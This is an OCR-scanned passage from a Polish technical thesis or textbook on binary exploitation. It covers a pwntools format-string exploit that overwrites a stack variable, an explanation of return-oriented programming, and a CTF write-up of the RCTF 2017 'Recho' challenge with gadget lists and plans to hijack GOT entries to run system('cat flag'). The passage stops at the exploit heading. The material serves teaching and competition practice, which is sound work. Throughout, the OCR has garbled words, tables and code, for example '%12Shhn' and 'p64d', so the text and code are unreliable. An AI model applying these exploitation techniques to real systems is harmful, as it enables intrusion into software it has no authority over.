Wykorzystamy do tego specyfikator %$hhn, ktéry wpisze wypisanag dotychczas liczbe
bajtdéw do podanego adresu; z uwagl na to, ze adres secret zawiera bajty zerowe

musimy umieszczac¢ go na koncu i odpowiednio ustawiac¢ numer elementu, pod ktéry

.sendline ('$055¢c%12Shhn...." + p64(secret))
.sendline ('$019c%12Shhn...." + p64d(secret+l))
.sendline ('$11Shhn.' + p64 (secret+2))
.sendline ('$11$hhn."' + p64 (secret+3))

secret+0 = 0x37 (55)
0x13 (19)

secret+2 = 0x00

#

#

#

#

# wpisujemy wartosc.
I

P secret+l
P

I

secret+3 = 0x00

print p.recvall ()
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Listing 8.14. Wykorzystanie skryptu z listingu 8.13. Na czerwono zaznaczono wypisany tanicuch znakdéw
spod komérek pamieci, w ktérych znajduje si¢ zmienna secret. Jako, ze nie jest ona lancuchem znakoéw,
to ciag ,,GOOD?” nie jest zakoriczony bajtem zerowym, a wiec program wypisuje kolejne bajty tak diugo,
az natrafi na taki bajt®. Na zielono umieszczono dodatkowe komentarze. Niedrukowalne znaki, ktére

w konsoli wyéwietlone zostaly jako pytajniki w kwadracie zostaly zastgpione znakiem ,,7”.

$ python exploit.py

[+] Starting local process './a.out': pid 20438

Adres secret: Ox7ffda65fad3c, jako string='<\xad_\xa6?'
Received:

>GOOD\xbb\xbb\xbb\xbb????)\x%ar??U <<\xad_\xa6?

Secret is 0x444f4f47

Provide input:

[+] Receiving all data: Done (263B)
[x] Process './a.out' stopped with exit code 0 (pid 20438)
P....<\xad_\xa6?

Secret is 0x444f4f37 // Zmieniono pierwszy bajt: 47 —-> 37

Provide input: P....=\xad_\xa6?

Secret is 0x444f1337 // Zmieniono drugi bajt: 4f -> 13

Provide input: .>\xad_\xa6?

Secret is 0x44001337 // Zmieniono trzeci bajt: 4f —-> 00

Provide input: .?\xad_\xa6?
Secret is 0x1337 // Zmieniono czwarty bajt 44 -> 00
Secret changed to 0x1337!

“Operacja taka to z perspektywy programu napisanego w jezyku C niezdefiniowane zachowanie. Gdyby pro-
gram przez dlugi czas nie natrafil na bajt zerowy, to w konicu odwotalby si¢ do adresu, ktory nie nalezatby do jego

pamieci, przez co jego dziatanie zostatoby przerwane.
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8.5. Programowanie zorientowane na powroty

Programowanie zorientowane na powroty (ang. return-oriented programming, w skro-
cie ROP) to technika polegajaca na odpowiednim nadpisaniu stosu kolejnymi adresami powrotu
do tak zwanych gadzetow (ang. gadget) czyli zestawdéw kolejnych instrukeji powstalych z interpre-
tacji dowolnych bajtéw w sekcji wykonywalnej programu — najczesciej zakoriczonych instrukcja
ret [49].

Gadzetem moga zatem by¢ zaréwno instrukcje konczace jedna z funkcji programu jak i do-
wolne inne obszary pamieci lezace w wykonywalnej sekcji kodu (byé moze zaczynajace sie
w $rodku innej instrukeji), ktére moga by¢ zinterpretowane jako poprawny ciag polecen pro-
cesora. Deasemblacje tego typu prezentuje listing 8.15. Procesor nie sprawdza w zaden sposéb
czy pamieé¢ na ktéra wskazuje wskaznik instrukeji (rejestr EIP albo RIP) to instrukcje, ktére
,programista zamierzal wykona¢” czy moze sa one wynikiem dekodowania bajtow znajduja-

cych sie w potowie jednej z instrukcji.
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Listing 8.15. Interaktywna sesja konsoli IPythona przedstawiajaca deasemblacje bajtéw do kodu asem-

blera x86-64 z wykorzystaniem Capstone — wieloplatformowej biblioteki napisanej w jezyku C pozwala-

jacej deasemblowaé asemblery réznych architektur [50]. Biblioteka ta posiada réwniez bindingi do wielu

jezykéw programowania. Jak mozna zauwazy¢ deasemblacja podanego ciagu od pierwszego bajtu daje

zupelnie inny kod, niz deasemblacja od drugiego bajtu.

10

11

12

13

14

15

16

17

In [1]: from binascii import hexlify
from capstone import Cs, CS_ARCH_X86, CS_MODE_64

# tworzymy obiekt deasemblera

md = Cs (CS_ARCH_X86, CS_MODE_64) # ustawiamy architekture x86-64
CODE = b"\x3C\xFF\x00\x00\x08\xC3" # kod w formie binarnej

def print_instr(i):

o

print (" (%4s) %s  %s" % (hexlify(i.bytes), 1i.mnemonic, 1i.op_str))

print ("Deasemblacja kodu od pierwszego bajtu - %$12s:"
for instruction in md.disasm(CODE, O0):

print_instr (instruction)
print ()
print ("Deasemblacja kodu od drugiego bajtu - %$12s:"
for instruction in md.disasm(CODE[1:], 0):

print_instr (instruction)

Deasemblacja od pierwszego bajtu - 3cf£000008c3:
(3cff) cmp al, Oxff
(0000) add byte ptr [rax], al
(08c3) or bl, al

Deasemblacja od drugiego baijtu - ££000008c3:
(££00) inc dword ptr [rax]
(0008) add byte ptr [rax], cl
( c3) ret
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Na listingu 8.16 zaprezentowano przyklad wykorzystania techniki ROP na 64-bitowym
programie w systemie Linux. Przedstawiony przyktad doprowadzi do wykonania funkcji

read (int fd, wvoidx buf, size_t count) Z argUInentanﬁ fd=0, buf=0x601c02, count=32.

Procesor wychodzac z funkcji w ktérej przepelniono bufor i nadpisano stos wykona instrukcje
ret, ktéra ,powrdci” pod nadpisany adres powrotu pobrany ze stosu — 0x4005d2. Nastepnie
najpierw Sciagnie warto$¢ 0 ze stosu do rejestru rdi (bedzie to pierwszy argument funkcji read).
Kolejno wykonane zostana gadzety spod adreséw 0x4001£9 oraz 0x401bde. Uzupelnig one trzy
rejestry — rsi, rdx oraz r15. Ustawienie tego ostatniego nie jest potrzebne do wykonania funkcji
read, natomiast szukajac gadzetow mozna nie znalezé takiego, ktéry uzupelnia sam rejestr rdx.
Ostatnim gadzetem bedzie 0x400d2e, ktéry wykona skok do funkcji read, co spowoduje wypisanie
na standardowe wyjscie (zakladajac, ze jest ono pod deskryptorem pliku o numerze 0) 32 bajtéw

spod adresu 0x601c02.

Listing 8.16. Schemat dzialania techniki ROP oraz ulozenie stosu przed wyjsciem z funkcji, czyli przed

wykonaniem instrukcji ret.

Adres 0x0 <--- pamie¢ (adresy rosna w ddéi)

Fom e +

| [

| [
RSP -> +

| 0x4005d2 +-———- > 0x4005d2: pop rdi ; $ciaga ze stosu fd=0 do rdi
RSP-8 —> +—————————— + 0x4005d3: ret ; skacze do kolejnego gadzetu

| 0x0 |

Fom e +

| 0x4001£f9 +-———- > 0x4001f9: pop rsi ; $ciaga ze stosu adres bufora do rsi

Fomm e + 0x4001fa: ret ; skacze do kolejnego gadzetu

| 0x601c02 |

Fom e +

| 0x40lbde +---—-- > 0x40lbde: pop rdx ; $ciaga ze stosu count=32 do rdx

Fomm + 0x401bdf: pop rl5 ; $ciaga ze stosu warto$¢ 0 do rl5

| 0x20 | 0x401bel: ret ; skacze do kolejnego gadzetu
RSP-48 > +-————————— +

| 0x0 |

Fomm +

| 0x400d2e +-———- > 0x400d2e: jmp read ; wywotuje read(rdi, rsi, rdx)

Fom e +

| [

| [

Fom e +

Adres Oxffffffffffffffff

Posiadajac dostatecznie duzo gadzetéw i mozliwosé nadpisania odpowiednio duzo wartosci na
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stosie, jestesmy w stanie wykonaé dowolny kod. W pracy [51] przedstawiono kompletny w sensie
Turinga zestaw gadzetow oraz dokonano analizy binariéw (wliczajac w to biblioteki dynamicznie
ladowane) znajdujacych sie w systemach Linux — wykazano, ze jedna trzecia plikéw zawierala

te gadzety.
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W tej sekcji przedstawiono oraz zanalizowano wybrane zadania z konkurséw CTF (Capture
The Flag) z kategorii pwn (z ang. pwning lub tez binary exploitation). Zadania te najczesciej
polegaja na przejeciu kontroli nad zdalnym serwerem lub uzyskaniu dostepu do wrazliwych
zasobow. Na serwerze podanym przez organizatoréw uruchomiona jest aplikacja zawierajaca
bledy. Uczestnicy nierzadko otrzymuja plik binarny uruchomiony na serwerze, czasami réwniez

jego kod zrédtowy lub wykorzystane biblioteki.

9.1. Zadanie ,,Recho” z Rois CTF 2017

Informacje o zadaniu:

o Nazwa zadania: Recho

o Konkurs: Rois CTF (w skrécie RCTF)

e Czas trwania CTF: 48 godzin

e Liczba druzyn, ktére rozwiazaly zadanie: 620

o Liczba punktéw do zdobycia: 370 (liczba punktéw przydzielana zespolom na koncu kon-

kursu bylta zalezna od liczby nadestanych poprawnych flag)

e Opis zadania: Zadanie polega na zdobyciu zawartosci pliku flag z serwera organizatoréw,

majac do dyspozycji adres i port serwera oraz program w formie binarnej.

Sam program nie ma usunietych symboli co utatwia proces inzynierii wstecznej. Jak mozna
zobaczy¢ na listingu 9.1 nie posiada on zabezpieczenia przed nadpisywaniem stosu — SSP (z ang.
Stack Smashing Protector lub tez stack canary) czy randomizacji adreséw sekcji kodu — PIE
(z ang. Position Independent Executable). Program stosuje ,Partial RELRO” przez co mozna
nadpisaé¢ wpisy w GOT (Global Offset Table). Bit NX jest wlaczony, przez co nie da sie wy-
konywa¢ instrukcji spod adreséw znajdujacych si¢ w stronach pamieci, do ktoérych proces moze
zapisywacé dane.

Nie wiadomo, czy istnieje wiecej zabezpieczen (np. ASLR — randomizacja adreséw biblio-
tek, stosu czy sterty, filtrowanie wywolan systemowych czy otwieranych plikéw), gdyz program
wykonuje si¢ na serwerze zdalnym, do ktérego nie mamy dostepu.

W celu péZniejszego wykorzystania btedu, przydatna moze byé¢ réwniez znajomosé wpiséw
w tabeli GOT. Relokacje, w tym i tabele GOT, prezentuje listing 9.2. Jak mozna zauwazy¢,

w GOT znajduja sie funkcje write, printf, alarm, read, setvbuf Oraz atoi.
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$ file Recho

Recho:

ELF 64-bit LSB executable,
interpreter /1ib64/1d-linux-x86-64.s0.2,

Listing 9.1. Podstawowe informacje o programie Recho.

x86-64,

version 1 (SYSV), dynamically linked,
for GNU/Linux 2.6.32,

BuildID[shal]=6696795a3d110750d6229d85238cadla67892298,

not stripped,

$ checksec Recho
[*] '/home/dc/rctf/Recho/Recho!
amd64-64-1ittle

Arch:
RELRO:
Stack:
NX:
PIE:

with debug_info

No canary found

NX enabled

No PIE

(0x400000)

Listing 9.2. Relokacje programu Recho. Wypisane przy uzyciu programu readelf.

$ readelf —--relocs ./Recho

Relocation section '.rela.dyn' at offset 0x498 contains 5 entries:

Offset
600££0
600f£8
601060
601070
601080

Info
500000006
600000006
900000005
a00000005
00000005

Type
R_X86_64_GLOB_DAT
R_X86_64_GLOB_DAT
R_X86_64_COPY
R_X86_64_COPY
R_X86_64_COPY

Sym. Value
0

0

601060
601070
601080

Sym. Name + Addend

_ libc_start_main@GLIBC_2.2.5 + 0
__gmon_start___ + 0
stdout@GLIBC_2.2.5 + 0
stdin@GLIBC_2.2.5 + 0
stderr@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x510 contains 6 entries:

Offset
601018
601020
601028
601030
601038
601040

Info

100000007
200000007
300000007
400000007
700000007
800000007

Type

R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO
R_X86_64_JUMP_SLO

9.1.1. Dziatanie programu

Sym. Value

0
0
0
0
0
0

Sym. Name + Addend
write@GLIBC_2.2.5 + 0
printf@GLIBC_2.2.5 + 0
alarm@GLIBC_2.2.5 + 0
read@GLIBC_2.2.5 + 0
setvbuf@GLIBC 2.2.5 + 0
atoi@GLIBC_2.2.5 + 0

Wykorzystujac narzedzie readelf (listing 9.3) mozemy poznaé¢ punkt startowy programu

— adres 0x400630, czyli funkcje _start.

Funkcja ta wywoluje _1ibc_start_main, ktérej przekazuje adres funkcji main napisanej przez

programiste. Procedura main zostala przedstawiona w dwoch formach — po deasemblacji (rysu-

nek 9.1) oraz po dekompilacji (listing 9.4). Na listingu 9.5 przedstawiono réwniez dekompilacje
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Listing 9.3. Wyswietlanie EP (Entry Point) programu Recho.

$ readelf —--file-header ./Recho | grep "Entry point address"
Entry point address: 0x400630

$ readelf --symbols ./Recho | grep 400630
13: 0000000000400630 0 SECTION LOCAL DEFAULT 13
63: 0000000000400630 43 FUNC GLOBAL DEFAULT 13 _start

funkcji Init, ktéra jest wykorzystywana przez main.

Listing 9.4. Zdekompilowany kod funkcji main programu Recho. Dekompilacje przeprowadzono dodat-
kiem do IDA Pro — dekompilatorem Hex-Rays Decompiler.

1 int _ cdecl main(int argc, const char *xargv, const char **envp) {

2 char nptr; // [sp+0h] [bp-40h]@2

3 char buf[40]; // [sp+10h] [bp-30h]@4

4 int n; // [sp+38h] [bp-8h]@4

5 int i; // [sp+3Ch] [bp-4h]@2

6

7 Init ();

8 write(l, "Welcome to Recho server!\n", 0x19ulLL);
9 while ( read(0, &nptr, Ox10uLL) > 0 ) {
10 i = atoi(&nptr);

11 if (1 <= 15)

12 i = 16;

13 n = read (0, buf, 1i);

14 buf[n] = 0;

15 printf ("%$s", buf);

16 }

17 return 0;

18 }

Listing 9.5. Zdekompilowany kod funkcji Init programu Recho. Dekompilacje przeprowadzono dodat-
kiem do IDA Pro — dekompilatorem Hex-Rays Decompiler.

1 unsigned int Init () {

2 setvbuf (stdin, O0LL, _IONBF, OLL);
3 setvbuf (stdout, OLL, _IONBF, OLL);
4 setvbuf (stderr, 0LL, _IONBF, OLL);
5 return alarm(60u);
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»int __cdecl main(int argc, const char **argy, Const char **envp)
public main
main proc near
nptr= byte ptr -40h
buf= byte ptr -30F
n= dword ptr -2
i= dword ptr -4
push rop
Moy rbp, rsp
sub rsp, 4eh
Mo eax, o
call Init
moy edx, 19h N
lea rsi, awelcomeToRecho ‘welcome to Recho server !
mov edi, 1 . fd
call _write
jmp cshort loc_400813
V¥
e
loc_400813:
lea rax, [rbp+nptr]
mov edx, 1oh . nbytes
mowv rsi, rax but
mowv edi, o . fd
call _read
test rax, rax
ig short loc_4007EB
1
| ¥
"*E] e
mc eax, O
loc_4007EE. leave
lea rax, [rbp+nptr] retn
mo rdil, rax onptrf main endp
call _atoi
moy [rbp+i], eax
crmp [rbp+i], OFh
ig short loc_4007D7
I
™
Moy [rop+i]. 18h
! E—
I
loc_400707:
moy eax, [rbp+i]
movsxd rdx, eax . nbytes
lea rax, [rbp+buf)
Mo rsi, rax . buf
moyv edi, 0 . fd
call _read
Mo [rbp+n], eax
moy eax, [rbp+n]
cdae
moy [rbp+rax+buf], @
lea rax, [rbp+buf]
mowv rsi, rax
lea rdi, fTormat "%s"
Moy eax, o
call _printf
[

Rysunek 9.1. Deasemblacja funkcji main w programie IDA Pro. Nazwy zmiennych n oraz i znajdujacych

sie na stosie zostaly zrefaktoryzowane. Pierwotnie byly one oznaczone przez program IDA Pro jako var_8

oraz var_4.
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Funkcja main wykonuje kolejno:

1. Funkcje 1nit, ktéra wylacza buforowanie (flaga _1onBr) standardowego wejscia, wyjscia

oraz wyjscia bledéw, a nastepnie ustawia alarm na 60 sekund:

Zabieg ten zostal najpewniej zrobiony po to, aby ulatwi¢ zadanie (np. zeby standardowe
wejscie nie czekalo na przepelnienie bufora lub znak nowej linii). Sam alarm(60) spowoduje
wygenerowanie sygnatu s1iGarrM po 60-ciu sekundach. Ze wzgledu na to, Ze program nie
rejestruje nigdzie obstugi tego sygnatu, spowoduje on zakonczenie dzialania procesu [52],

co ogranicza dlugo$¢ polaczenia z serwerem.

. /Wi Wl Jant S¢ Wl na — elcome o ecno server.\n
Wyéwietla wiadomosé powital "Wel to Rech '\n",

. Wezytuje do 16 bajtow do bufora nptr znajdujacego sie na stosie. W przypadku powodzenia

tej operacji (zwrdcenia wartosci wigkszej niz zero przez funkcje read) wejdzie do ciala petli.

. Wykorzystujac funkcje atoi konwertuje ciag znakéw z nptr do liczby, ktora zapisuje

w zmiennej i. W przypadku gdy warto$¢ zmiennej jest mniejsza od 15, jest ona usta-

wiana na 16.

. Odczytuje i bajtow do bufora buf znajdujacego sie na stosie oraz dopisuje na jego koniec

bajt zero.

. Wypisuje bufor i wraca do warunku petli — punktu 3.

Program ten pozwala nadpisa¢ stos poprzez wpisanie do bufora buf ciggu znakéw diuzszego

niz jego potencjalny rozmiar (nie wiadomo jaki byt on pierwotnie w kodzie Zrédlowym — dlugosé

40 to warto$¢ wywnioskowana przez dekompilator Hex-Rays). Takie dzialanie mozna zaobser-

wowa¢ na listingu 9.6.

Listing 9.6. Dzialanie programu Recho zakonczone Segmentation Fault. Pogrubiona czcionka zaznaczono

przekazywane do programu wejscie.

$ ./Recho

Welcome to Recho server!

3

Bufor 16 znakow

Bufor 16 znakow

300

Ta wiadomo$é wyjdzie poza bufor i nadpisze adres powrotu. Naciéniecie CTRL+D

—

—

—

spowoduje wysltanie EOF (znacznika kodca pliku - End Of File) przez co program
wyjdzie z petli while(read(...)>0). Po wystaniu tej wiadomos$ci zostanie

wcisdnieta kombinacja klawiszy CTRL+D

Ta wiadomos$¢ wyjdzie poza bufor i nadp”"S""ASegmentation fault (core dumped)
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Z uwagi na brak zabezpieczenia SSP (opisanym w sekcji 5.2), program nie konczy dziatania
z bledem ,stack smashing detected”, co oznaczaloby, ze wykryto nadpisanie wartosci kanarka

na stosie.

9.1.2. Mozliwosci wykorzystania btedu

Nadpisujac stos jesteSmy w stanie nadpisa¢ wskaznik powrotu z funkcji main. Aby to zrobié,
musimy najpierw poznaé jego potozenie wzgledem bufora, do ktérego wpisujemy dane. Mozemy

to zrobié¢ na kilka sposobow:

1. Poprzez statyczna analize — utozenie ramki stosu funkcji main mozna zaobserwowaé na li-
stingu 9.4 — bufor buf, ktéry mozemy przepelnié, znajduje sie 48 bajtow przed koricem
ramki stosu (wiadomo to z komentarza dekompilatora — bp-30n). Za ramka stosu funkcji
— pod adresami rbp oraz rbp+8 — znajduja sie saved_rbp oraz saved_rip — czyli zapisany
wskaznik poczatku poprzedniej ramki stosu (tu funkcji _ libc_start_main) oraz wkaZnik
powrotu z funkcji main. Mozemy obliczy¢, ze odlegtoéé bufora i wskaznika powrotu wynosi
48 + 8 = 56 bajtow.

2. Podczas analizy dynamicznej w debuggerze — zatrzymujac sie na instrukcji call read
i odejmujac adres bufora buf oraz wskaznika powrotu (wypisanego komenda retaddr).

Prezentuje to rysunek 9.2.

pwndbg= context disasm

LEGEND: | HEAP | CODE | DATA | RWX | RODATA
[ DISASM
0x4007d7 <main+70=> mov eax, dword ptr [rbp - 4]
Ox4007da <main+73= movsxd rdx, eax
0x4007dd <main+76> lea rax, qword ptr [rbp - 0x30]
0x4007el <main+80= mowv rsi, rax
0x4007e4 <main+83> mov edi, ©
read@plt <0x400600>
fd: 0x0
buf: < Ox0

nbytes: @x1l2c

0x4007ee <main+93> mov dword ptr [rbp - 8], eax
0x4007f1 <main+96= mowv eax, dword ptr [rbp - 8]
0x4007f4 <main+99=> cdge

Ox4007f6 <main+101= mowv byte ptr [rbp + rax - ox30], @
0x4007fb <main+106> lea rax, qword ptr [rbp - 0x30]

pwndbg> retaddr
—» Ox7f65Tadb84ca (_ libc start _main+234) «— mov edi, eax
—» Ox40065a (_start+42) <«— hlt

pwndbg= print Ox7fffffffd6édg-ox7fffffffd6ao

$2 = 56

pwndbg> []

Rysunek 9.2. Obliczanie odlegtosci miedzy buforem do ktérego piszemy, a wskaznikiem powrotu z funkcji

main. Kontekst Pwndbg zostal ustawiony tak, aby wyswietlaé tylko zdeasemblowany kod.
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3. Podczas analizy post-mortem' — mozna wygenerowaé ciag o okre§lonej dtugoéci, w ktérej
kolejne grupy osmiu znakéw beda unikalne, a nastepnie spowodowaé nim przepetnienie bu-
fora. Analizujac wartoéci rejestréw badz zawarto$é stosu mozna obliczy¢ odlegtosé miedzy

buforem i wskaznikiem powrotu.

Ciag znakéw w celu przepetnienia bufora mozna wygenerowaé¢ korzystajac z programu
pwn cyclic z pakietu pwntools:
$ pwn cyclic --length 8 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaa<—’
jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaa<—>
saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaab<—>

caaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaab+

laaaaaabmaaa

Nastepnie analizujac stan programu po uruchamieniu go w debuggerze oraz spowo-
dowaniu przepelnienia bufora powyzszym ciggiem mozna zobaczy¢, ze instrukcja ret
sprébuje Sciagnaé ze stosu kolejna wartosé — 0x6161616161616168 (czyli ciag "haaaaaaa™).

Prezentuje to rysunek 9.3.

Kolejno liczbe bajtéw od poczatku miejsca w pamieci, w ktérej znajduje sie po-
dany ciag (a zarazem bufor) do wartoSci oxe6161616161616168 (ktéra nadpisata
wskaZnik powrotu na stosie) mozna obliczy¢é poleceniem pwn cyclic -length 8
-offset 0x6161616161616168, ktére zwraca liczbe 56. Zatem odlegtosé ta wynosi
56 bajtéw.

Dzigki braku zabezpieczen PIE oraz SSP znane sa adresy kodu oraz mozna nadpisa¢ wskaznik
powrotu.

7Z uwagi na to, ze w programie nie ma kodu, ktéry wypisalby plik o nazwie flag, nalezy
skorzysta¢ z techniki ROP (opisanej w rozdziale 8.5). W tym celu wykorzystano program ropper

do wyszukania gadzetow wystepujacych w programie. Prezentuje to listing 9.7.

!Czyli analizy stanu programu po wystapieniu btedu i jego zatrzymaniu przez system operacyjny lub tez

po zaladowaniu pliku zrzutu pamieci (ang. core dump).
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pwndbg> set context-sections regs disasm code stack

Set which context sections are displayed by default (also controls order) to 'regs disasm code stack'
pwndbg> r

Starting program: /home/dc/Recho/Recho

Welcome to Recho server!

1

abcd

abcd

301
aaaaaaaabaaaaaaacaaaaaaadaaaaaaacaaaaaaafTaasaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaan
aaaaaaanaaaaaaapaaaaaaagaaaaaaaraaaaaaasaaaaaaataaaaasauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba
aaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaa—

Program received signal SIGSEGY, Segmentation fault.

0x0000000000400834 in main ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS 1
RAX 0Ox0

REX 0Ox0

*RCX 0Ox7feab7402b90 (_ read nocancel+7) «— cmp rax, -Oxfff

RDX ©x10

RDI 0Ox0

RSI Ox7fffffffd4ad «— ©xa31l3033 /* '301\n' */

*R8 0x7feab7899440 «— 0x7feab7899440

R9 Ax7TFfffffdabe «— 0x6161616161616161 ('aaaaaaaa')

*R10 Ox7feab7486b20 (step4 jumps) «— add byte ptr [rax], al
R11 0Ox246

R12 0x400630 ( start) «— xor ebp, ebp

R13 ox7fffffffd5ce «— Ox626161616161616a ('jaaaaaab')

R14 0Ox0

R15 0Ox0

RBP 0x6161616161616167 ('gaaaaaaa')

RSP Ox7fffffffd4es «— Ox6161616161616168 ('haaaaaaa')

RIP 0x400834 (main+163) «— ret

[ DISASM 1
= Ox400834 <main+163> ret <0x6161616161616168>

[ STACK 1
00:0000| rsp Ox7fffffffd4e8 «— Ox6161616161616168 ('haaaaaaa’')
01:0008 Ox7FFfffffd4fo «— Ox6161616161616169 ('iaaaaaaa')
02:0010 Ox7TTTTfTTd4T8 «— 0x616161616161616a ('jaaaaaaa')
03:0018 Ox7TFfffffd500 «— 0x616161616161616b ('kaaaaaaa')
04:0020 Ox7TFfffffd508 «— 0x616161616161616C ('laaaaaaa')
05:0028 Ox7FFfffffd510 «— 0x616161616161616d ('maaaaaaa')
06:0030 Ax7TFFffffd518 «— 0x616161616161616e ('naaaaaaa')
07:0038 Ox7TFfffffd520 «— 0x616161616161616T ('oaaaaaaa')
Program received signal SIGSEGV (fault address 0x0)

bwndbg> []

Rysunek 9.3. Stan programu podczas préby powrotu z funkcji main po przepelnieniu bufora.
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Listing 9.7. Wyszukiwanie gadzetéw w programie Recho przy uzyciu ropper

zostalo skrocone dla lepszej czytelnosci.

$ ropper —--file Recho

[INFO] Load gadgets for section: PHDR

[INFO] Load gadgets for section: LOAD

[LOAD] removing double gadgets... 100%

Gadgets

0x000000000040070d: add byte ptr [rdi], al; ret;
0x00000000004006£9: add ebx, esi; ret;

0x00000000004005b2: add rsp, 8; ret;

0x00000000004009db: jmp gword ptr [rbp]l;

0x0000000000400685: Jmp rax;

0x000000000040082e: mov eax, 0; leave; ret;
0x000000000040071b: mov rbp, rsp; call rax;
0x000000000040089c: pop rl2; pop rl3; pop rl4; pop rl5; ret;
0x000000000040089e: pop rl3; pop rl4d; pop rl5; ret;
0x00000000004008a0: pop rl4d; pop rl5; ret;
0x00000000004008a2: pop rl5; ret;

0x00000000004006fc: pop rax; ret;

0x000000000040089%b: pop rbp; pop rl2; pop rl3; pop rléd; pop rl5;
0x000000000040089f: pop rbp; pop rl4d; pop rl5; ret;
0x0000000000400690: pop rbp; ret;

0x00000000004008a3: pop rdi; ret;

0x00000000004006fe: pop rdx; ret;

0x00000000004008al: pop rsi; pop rlb5; ret;
0x000000000040089d: pop rsp; pop rl3; pop rl4; pop rlb5; ret;
0x0000000000400833: leave; ret;

0x000000000040078e: nop; pop rbp; ret;

0x00000000004005b6: ret;

/()

118 gadgets found

. Wyjscie z programu

ret;

Zmnalezione gadzety pozwalaja miedzy innymi na ustawienie wartosci poszczegdlnych reje-

strow — rax, rdi, rdx, rsi, r12, r13, rl4, rl5, r16, rbp, rsp. Korzystajac natomiast z serii

gadzetow:
e 0x00000000004008a3: pop rdi; ret; — ustawia rejestr rdi,
e 0x00000000004006fc: pop rax; ret; — ustawia rejestr rax,
¢ 0x000000000040070d: add byte ptr [rdi]l, al;

al (nizsze 8 bitéw rax) do wartosci znajdujacej sie pod wskaznikiem

ret; —dodaje bajt z rejestru

rdi.

Mozna nadpisa¢ dowolne miejsce w pamieci poprzez przepelnienie wartosci danego bajtu. Za-
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tem aby ustawi¢ warto$é VAL w komorce pamieci o adresie ADDR i wartosci OLD, nalezy usta-

wié rdi=ADDR Oraz rax-256-abs (VAL-OLD) 2

, a nastepnie wykonaé¢ gadzet spod adresu 0x40070d.
Sama wartos¢ rejestru rax mozna réwniez obliczy¢ w jezyku Python wykorzystujac typy z jezyka
C poprzez wbhudowany modul ctypes: rax=ctypes.c_uint8 (OLD-VAL) .value.

Kolejno, aby odczytaé plik ,,flag” moznaby uzy¢:

1. Funkcji z biblioteki standardowej jezyka C — fopen oraz fread; wymaga to umieszczenia

w pamieci procesu struktury FILE.

2. Wywotan systemowych open oraz read; wymaga to operowania na deskryptorach plikowych

oraz instrukcji syscall (lub wpisu tych funkcji w GOT),
3. Funkcje system z biblioteki standardowej jezyka C,

4. Jedno z wywolan systemowych z rodziny exec np. execve — wymaga to instrukcji syscall

(lub wpisu tej funkeji w GOT).

Trzeci oraz czwarty punkt moéglby postuzyé zaréwno do uruchomienia konsoli (programu
/bin/sh) lub wypisania flagi poprzez polecenie /bin/cat flag (lub cat flag, zaklada-
jac, ze program ten jest w systemie i znajduje sie¢ w zmiennej srodowiskowej PATH). Sposréd
powyzszych wymagan program spetnia jedynie czeSciowo punkt drugi, gdyz w GOT znajduje
sie adres funkcji read.

Mimo to, osiagnaé¢ cel mozna na conajmniej dwa sposoby:

1. Doprowadzajac do wycieku danych — adreséw funkcji z biblioteki GNU libc z GOT. Bazujac
na nich mozna odnalezé¢ wersje biblioteki GNU libc znajdujacej sie¢ na serwerze, a posiada-
jac ja mozna obliczy¢ odlegtoéé miedzy funkcja system oraz jedng z funkcji w GOT. Wy-
korzystujac poczatkowo wyciekly adres (np. funkcji read) oraz obliczona odlegtosé mozna
policzy¢ adres funkcji system w pamieci procesu. Kolejno, nalezy nadpisa¢ jeden z adresow
w GOT adresem system, wpisa¢ do pamieci procesu cigg "cat flag", ustawi¢ odpowiednio
rejestry oraz powrdcié (skoczyé, poprzez instrukcje ret konczaca gadzet) do procedury lin-
kujacej (znajdujaca sie¢ w sekcji .GOT.PLT) odpowiadajacej nadpisanej funkcji w GOT.
Ta zas wykona skok pod nadpisany adres znajdujacy sie w GOT — czyli wykona funkcje

system, ktora uruchomi polecenie wypisujace flage — cat flag.

2. Prébujac modyfikowaé adresy funkcji ktére odpowiadaja wywolaniom systemowym
w GOT tak, aby wskazywaly one na instrukcje syscall. Technika ta moze nie dzialaé¢
dla wszystkich implementacji biblioteki jezyka C. Jak mozna zobaczy¢ na listingu 9.8 dla
konkretnego przypadku moze zdarzy¢ si¢ tak, ze instrukcja syscall bedzie znajdowaé sie¢
5 bajtéw za adresami funkcji write oraz read. Po zmianie adresu funkcji w GOT, wy-

korzystujac odpowiednie gadzety mozna ustawié rejestry oraz pamieé¢ tak, aby wykonaé

2Funkcja abs we wzorze zwraca wartoéé bezwzgledna.
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wywotanie systemowe exec, ktére uruchomi polecenie wypisujace flage — cat flag.

Listing 9.8. Czesciowy wynik deasemblacji funkcji write oraz read znajdujacych si¢ w pamieci procesu
programu Recho z biblioteki GNU libc 2.25 (skompilowanej przez GNU CC 7.1.1 20170508) na systemie

Arch Linux.

pwndbg> disassemble write

Dump of assembler code for function write:

0x007£f£££7014060
0x007f£££7b14067
0x007f£££7b14069
0x007f££f£f7b1406e
/)

<+0>:
<+7>:
<+0>:

<+5>:

cmp DWORD PTR [rip+0x2c5679], 0x0
jne  O0x7ff£f£f7b14079 <write+25>
mov eax,0xl

syscall

pwndbg> disassemble read

Dump of assembler code

0x007££££7014000
0x007f£££7014007
0x007f£££7b14009
0x007£f£££701400e
/(e

9.1.3. Eksploit

<+0>:
<+7>:
<+0>:

<+5>:

for function read:

cmp DWORD PTR [rip+0x2c56d9], 0x0
Jjne Ox7fff£f7b14019 <read+25>

mov eax, 0x0

syscall

# <_ libc_multiple_threads>

# <__libc_multiple_threads>

